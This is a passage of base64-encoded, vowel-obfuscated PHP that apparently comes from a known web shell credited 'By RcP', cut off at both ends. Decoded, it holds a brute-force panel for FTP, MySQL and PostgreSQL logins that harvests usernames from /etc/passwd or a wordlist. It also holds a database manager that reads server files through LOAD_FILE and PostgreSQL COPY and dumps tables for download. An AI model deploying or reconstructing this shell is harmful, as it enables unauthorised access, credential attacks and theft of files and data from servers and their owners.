NwMW4+UzVydjVyOjwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnczVydjVyJ10pLic8YnI+JzsNCiAgICAgICAgNGYoICRfUE9TVFsncHIydDInXSA9PSAnZnRwJyApIHsNCiAgICAgICAgICAgIGYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KICAgICAgICAgICAgICAgICRmcCA9IEBmdHBfYzJubjVjdCgkNHAsICRwMnJ0PyRwMnJ0OmE2KTsNCiAgICAgICAgICAgICAgICA0ZighJGZwKSByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgJHI1cyA9IEBmdHBfbDJnNG4oJGZwLCAkbDJnNG4sICRwMXNzKTsNCiAgICAgICAgICAgICAgICBAZnRwX2NsMnM1KCRmcCk7DQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXM7DQogICAgICAgICAgICB9DQogICAgICAgIH0gNWxzNTRmKCAkX1BPU1RbJ3ByMnQyJ10gPT0gJ215c3FsJyApIHsNCiAgICAgICAgICAgIGYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KICAgICAgICAgICAgICAgICRyNXMgPSBAbXlzcWxfYzJubjVjdCgkNHAuJzonLiRwMnJ0PyRwMnJ0Om9vMGUsICRsMmc0biwgJHAxc3MpOw0KICAgICAgICAgICAgICAgIEBteXNxbF9jbDJzNSgkcjVzKTsNCiAgICAgICAgICAgICAgICByNXQzcm4gJHI1czsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1NGYoICRfUE9TVFsncHIydDInXSA9PSAncGdzcWwnICkgew0KICAgICAgICAgICAgZjNuY3Q0Mm4gYnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7DQogICAgICAgICAgICAgICAgJHN0ciA9ICJoMnN0PSciLiQ0cC4iJyBwMnJ0PSciLiRwMnJ0LiInIDNzNXI9JyIuJGwyZzRuLiInIHAxc3N3MnJkPSciLiRwMXNzLiInIGRibjFtNT1wMnN0Z3I1cyI7DQogICAgICAgICAgICAgICAgJHI1cyA9IEBwZ19jMm5uNWN0KCRzdHIpOw0KICAgICAgICAgICAgICAgIEBwZ19jbDJzNSgkcjVzKTsNCiAgICAgICAgICAgICAgICByNXQzcm4gJHI1czsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkczNjYzVzcyA9IDA7DQogICAgICAgICQxdHQ1bXB0cyA9IDA7DQogICAgICAgICRzNXJ2NXIgPSA1eHBsMmQ1KCI6IiwgJF9QT1NUWydzNXJ2NXInXSk7DQogICAgICAgIDRmKCRfUE9TVFsndHlwNSddID09IDYpIHsNCiAgICAgICAgICAgICR0NW1wID0gQGY0bDUoJy81dGMvcDFzc3dkJyk7DQogICAgICAgICAgICA0ZiggNHNfMXJyMXkoJHQ1bXApICkNCiAgICAgICAgICAgICAgICBmMnI1MWNoKCR0NW1wIDFzICRsNG41KSB7DQogICAgICAgICAgICAgICAgICAgICRsNG41ID0gNXhwbDJkNSgiOiIsICRsNG41KTsNCiAgICAgICAgICAgICAgICAgICAgKyskMXR0NW1wdHM7DQogICAgICAgICAgICAgICAgICAgIDRmKCBicjN0NUYycmM1KEAkczVydjVyWzBdLEAkczVydjVyWzZdLCAkbDRuNVswXSwgJGw0bjVbMF0pICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHMzY2M1c3MrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPGJyPic7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgNGYoQCRfUE9TVFsncjV2NXJzNSddKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gIiI7DQogICAgICAgICAgICAgICAgICAgICAgICBmMnIoJDQ9c3RybDVuKCRsNG41WzBdKS02OyAkND49MDsgLS0kNCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG1wIC49ICRsNG41WzBdWyQ0XTsNCiAgICAgICAgICAgICAgICAgICAgICAgICsrJDF0dDVtcHRzOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoIGJyM3Q1RjJyYzUoQCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRsNG41WzBdLCAkdG1wKSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkczNjYzVzcysrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCR0bXApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICB9IDVsczU0ZigkX1BPU1RbJ3R5cDUnXSA9PSBhKSB7DQogICAgICAgICAgICAkdDVtcCA9IEBmNGw1KCRfUE9TVFsnZDRjdCddKTsNCiAgICAgICAgICAgIDRmKCA0c18xcnIxeSgkdDVtcCkgKQ0KICAgICAgICAgICAgICAgIGYycjUxY2goJHQ1bXAgMXMgJGw0bjUpIHsNCiAgICAgICAgICAgICAgICAgICAgJGw0bjUgPSB0cjRtKCRsNG41KTsNCiAgICAgICAgICAgICAgICAgICAgKyskMXR0NW1wdHM7DQogICAgICAgICAgICAgICAgICAgIDRmKCBicjN0NUYycmM1KCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRfUE9TVFsnbDJnNG4nXSwgJGw0bjUpICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHMzY2M1c3MrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2wyZzRuJ10pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkbDRuNSkuJzxicj4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIDVjaDIgIjxzcDFuPkF0dDVtcHRzOjwvc3Axbj4gJDF0dDVtcHRzIDxzcDFuPlMzY2M1c3M6PC9zcDFuPiAkczNjYzVzczwvZDR2Pjxicj4iOw0KICAgIH0NCiAgICA1Y2gyICc8aDY+RlRQIGJyM3Q1ZjJyYzUgPDEgaHI1Zj1odHRwOi8vd3d3LmcyMmdsNS5jMm0udHJ0PiYjZWlpb287ICBCeSBSY1AgIGA8LzE+PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHQxYmw1PjxmMnJtIG01dGgyZD1wMnN0Pjx0cj48dGQ+PHNwMW4+VHlwNTwvc3Axbj48L3RkPicNCiAgICAgICAgLic8dGQ+PHM1bDVjdCBuMW01PXByMnQyPjwycHQ0Mm4gdjFsMzU9ZnRwPkZUUDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9bXlzcWw+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PXBnc3FsPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nDQogICAgICAgIC4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+Jw0KICAgICAgICAuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJzEnXSkuJyI+Jw0KICAgICAgICAuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2NoMXJzNXQnXSkuJyI+Jw0KICAgICAgICAuJzxzcDFuPlM1cnY1cjpwMnJ0PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9czVydjVyIHYxbDM1PSI2YTcuMC4wLjYiPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48c3Axbj5CcjN0NSB0eXA1PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48bDFiNWw+PDRucDN0IHR5cDU9cjFkNDIgbjFtNT10eXA1IHYxbDM1PSI2IiBjaDVjazVkPiAvNXRjL3Axc3N3ZDwvbDFiNWw+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bCBzdHlsNT0icDFkZDRuZy1sNWZ0OjZpcHgiPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9cjV2NXJzNSB2MWwzNT02IGNoNWNrNWQ+IHI1djVyczUgKGwyZzRuIC0+IG40ZzJsKTwvbDFiNWw+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bD48NG5wM3QgdHlwNT1yMWQ0MiBuMW01PXR5cDUgdjFsMzU9ImEiPiBENGN0NDJuMXJ5PC9sMWI1bD48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PHQxYmw1IHN0eWw1PSJwMWRkNG5nLWw1ZnQ6NmlweCI+PHRyPjx0ZD48c3Axbj5MMmc0bjwvc3Axbj48L3RkPicNCiAgICAgICAgLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWwyZzRuIHYxbDM1PSJyMjJ0Ij48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PHNwMW4+RDRjdDQybjFyeTwvc3Axbj48L3RkPicNCiAgICAgICAgLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWQ0Y3QgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pLidwMXNzd2QuZDRjIj48L3RkPjwvdHI+PC90MWJsNT4nDQogICAgICAgIC4nPC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC90ZD48L3RyPjwvZjJybT48L3QxYmw1Pic7DQogICAgNWNoMiAnPC9kNHY+PGJyPic7DQogICAgd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblNxbCgpIHsNCiAgICBjbDFzcyBEYkNsMXNzIHsNCiAgICAgICAgdjFyICR0eXA1Ow0KICAgICAgICB2MXIgJGw0bms7DQogICAgICAgIHYxciAkcjVzOw0KICAgICAgICBmM25jdDQybiBEYkNsMXNzKCR0eXA1KSAgICB7DQogICAgICAgICAgICAkdGg0cy0+dHlwNSA9ICR0eXA1Ow0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIGMybm41Y3QoJGgyc3QsICQzczVyLCAkcDFzcywgJGRibjFtNSl7DQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICAgIHsNCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIDRmKCAkdGg0cy0+bDRuayA9IEBteXNxbF9jMm5uNWN0KCRoMnN0LCQzczVyLCRwMXNzLHRyMzUpICkgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgJGgyc3QgPSA1eHBsMmQ1KCc6JywgJGgyc3QpOw0KICAgICAgICAgICAgICAgICAgICA0ZighJGgyc3RbNl0pICRoMnN0WzZdPWl1b2E7DQogICAgICAgICAgICAgICAgICAgIDRmKCAkdGg0cy0+bDRuayA9IEBwZ19jMm5uNWN0KCJoMnN0PXskaDJzdFswXX0gcDJydD17JGgyc3RbNl19IDNzNXI9JDNzNXIgcDFzc3cycmQ9JHAxc3MgZGJuMW01PSRkYm4xbTUiKSApIHI1dDNybiB0cjM1Ow0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiBzNWw1Y3RkYigkZGIpIHsNCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgew0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgNGYgKEBteXNxbF9zNWw1Y3RfZGIoJGRiKSlyNXQzcm4gdHIzNTsNCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gcTM1cnkoJHN0cikgew0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSB7DQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cyA9IEBteXNxbF9xMzVyeSgkc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cyA9IEBwZ19xMzVyeSgkdGg0cy0+bDRuaywkc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gZjV0Y2goKSB7DQogICAgICAgICAgICAkcjVzID0gZjNuY19uM21fMXJncygpP2YzbmNfZzV0XzFyZygwKTokdGg0cy0+cjVzOw0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICB7DQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQG15c3FsX2Y1dGNoXzFzczJjKCRyNXMpOw0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiBAcGdfZjV0Y2hfMXNzMmMoJHI1cyk7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIGw0c3REYnMoKSB7DQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICAgIHsNCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnEzNXJ5KCJTSE9XIGQxdDFiMXM1cyIpOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoIlNFTEVDVCBkMXRuMW01IEZST00gcGdfZDF0MWIxczUgV0hFUkUgZDF0NHN0NW1wbDF0NSE9J3QnIik7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gbDRzdFQxYmw1cygpIHsNCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgew0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgVEFCTEVTJyk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgiczVsNWN0IHQxYmw1X24xbTUgZnIybSA0bmYycm0xdDQybl9zY2g1bTEudDFibDVzIHdoNXI1IHQxYmw1X3NjaDVtMSAhPSAnNG5mMnJtMXQ0Mm5fc2NoNW0xJyBBTkQgdDFibDVfc2NoNW0xICE9ICdwZ19jMXQxbDJnJyIpOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIDVycjJyKCkgew0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICB7DQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQG15c3FsXzVycjJyKCk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQHBnX2wxc3RfNXJyMnIoKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiBzNXRDaDFyczV0KCRzdHIpIHsNCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgew0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9zNXRfY2gxcnM1dCcpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBteXNxbF9zNXRfY2gxcnM1dCgkc3RyLCAkdGg0cy0+bDRuayk7DQogICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT5xMzVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQHBnX3M1dF9jbDQ1bnRfNW5jMmQ0bmcoJHRoNHMtPmw0bmssICRzdHIpOw0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiBsMjFkRjRsNSgkc3RyKSB7DQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICAgIHsNCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+ZjV0Y2goJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLjFkZHNsMXNoNXMoJHN0cikuIicpIDFzIGY0bDUiKSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoIkNSRUFURSBUQUJMRSB3czJhKGY0bDUgdDV4dCk7Q09QWSB3czJhIEZST00gJyIuMWRkc2wxc2g1cygkc3RyKS4iJztzNWw1Y3QgZjRsNSBmcjJtIHdzMmE7Iik7DQogICAgICAgICAgICAgICAgICAgICRyPTFycjF5KCk7DQogICAgICAgICAgICAgICAgICAgIHdoNGw1KCQ0PSR0aDRzLT5mNXRjaCgpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHJbXSA9ICQ0WydmNGw1J107DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5xMzVyeSgnZHIycCB0MWJsNSB3czJhJyk7DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAxcnIxeSgnZjRsNSc9PjRtcGwyZDUoIlxuIiwkcikpOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIGQzbXAoJHQxYmw1LCAkZnAgPSBmMWxzNSkgew0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICB7DQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAkcjVzID0gJHRoNHMtPnEzNXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdDFibDUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgJGNyNTF0NSA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMpOw0KICAgICAgICAgICAgICAgICAgICAkc3FsID0gJGNyNTF0NVs2XS4iO1xuIjsNCiAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gYCcuJHQxYmw1LidgJyk7DQogICAgICAgICAgICAgICAgICAgICRoNTFkID0gdHIzNTsNCiAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnMgPSAxcnIxeSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkdiA9PSBuM2xsKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAiTlVMTCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNTRmKDRzX24zbTVyNGMoJHYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAkdjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICInIi5AbXlzcWxfcjUxbF81c2MxcDVfc3RyNG5nKCR2KS4iJyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnNbXSA9ICJgIi4kay4iYCI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkaDUxZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gYCcuJHQxYmw1LidgICgnLjRtcGwyZDUoIiwgIiwgJGMybDNtbnMpLiIpIFZBTFVFUyBcblx0KCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoNTFkID0gZjFsczU7DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIlxuXHQsKCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIDRmKCEkaDUxZCkNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgIjtcblxuIik7IDVsczUgNWNoMigiO1xuXG4iKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSAnLiR0MWJsNSk7DQogICAgICAgICAgICAgICAgICAgIHdoNGw1KCQ0dDVtID0gJHRoNHMtPmY1dGNoKCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjMmwzbW5zID0gMXJyMXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJDR0NW0gMXMgJGs9PiR2KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gIiciLjFkZHNsMXNoNXMoJHYpLiInIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYzJsM21uc1tdID0gJGs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHQxYmw1LicgKCcuNG1wbDJkNSgiLCAiLCAkYzJsM21ucykuJykgVkFMVUVTICgnLjRtcGwyZDUoIiwgIiwgJDR0NW0pLicpOycuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgfTsNCiAgICAkZGIgPSBuNXcgRGJDbDFzcygkX1BPU1RbJ3R5cDUnXSk7DQogICAgNGYoQCRfUE9TVFsncGEnXT09J2Qyd25sMjFkJykgew0KICAgICAgICAkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSk7DQogICAgICAgICRkYi0+czVsNWN0ZGIoJF9QT1NUWydzcWxfYjFzNSddKTsNCiAgICAgICAgc3c0dGNoKCRfUE9TVFsnY2gxcnM1dCddKSB7DQogICAgICAgICAgICBjMXM1ICJVVEYtOCI6ICRkYi0+czV0Q2gxcnM1dCgnM3RmOCcpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgIlc0bmQyd3MtNmFpNiI6ICRkYi0+czV0Q2gxcnM1dCgnY3A2YWk2Jyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiS09JOC1SIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4cicpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgIktPSTgtVSI6ICRkYi0+czV0Q2gxcnM1dCgnazI0ODMnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJjcDhlZSI6ICRkYi0+czV0Q2gxcnM1dCgnY3A4ZWUnKTsgYnI1MWs7DQogICAgICAgIH0NCiAgICAgICAgNGYoNW1wdHkoJF9QT1NUWydmNGw1J10pKSB7DQogICAgICAgICAgICAyYl9zdDFydCgiMmJfZ3poMW5kbDVyIiwgdTA5ZSk7DQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PWQzbXAuc3FsIik7DQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogdDV4dC9wbDE0biIpOw0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZDNtcCgkdik7DQogICAgICAgICAgICA1eDR0Ow0KICAgICAgICB9IDVsczU0ZigkZnAgPSBAZjJwNW4oJF9QT1NUWydmNGw1J10sICd3JykpIHsNCiAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWyd0YmwnXSAxcyAkdikNCiAgICAgICAgICAgICAgICAkZGItPmQzbXAoJHYsICRmcCk7DQogICAgICAgICAgICBmY2wyczUoJGZwKTsNCiAgICAgICAgICAgIDNuczV0KCRfUE9TVFsncGEnXSk7DQogICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgZDQ1KCc8c2NyNHB0PjFsNXJ0KCJFcnIyciEgQzFuXCd0IDJwNW4gZjRsNSIpO3c0bmQydy5oNHN0MnJ5LmIxY2soLTYpPC9zY3I0cHQ+Jyk7DQogICAgfQ0KICAgIHdzMkg1MWQ1cigpOw0KICAgIDVjaDIgIg0KPGg2PlNxbCBBbDFuNCAtIDwxIGhyNWY9aHR0cDovL3d3dy5nMjJnbDUuYzJtLnRydD4mI2VpaW9vOyAgQnkgUmNQICBgPC8xPjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pg0KPGYycm0gbjFtNT0nc2YnIG01dGgyZD0ncDJzdCcgMm5zM2JtNHQ9J2ZzKHRoNHMpOyc+PHQxYmw1IGM1bGxwMWRkNG5nPSdhJyBjNWxsc3AxYzRuZz0nMCc+PHRyPg0KPHRkPlR5cDU8L3RkPjx0ZD5IMnN0PC90ZD48dGQ+TDJnNG48L3RkPjx0ZD5QMXNzdzJyZDwvdGQ+PHRkPkQxdDFiMXM1PC90ZD48dGQ+PC90ZD48L3RyPjx0cj4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9U3FsPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSdxMzVyeSc+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGEgdjFsMzU9Jyc+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIi4gaHRt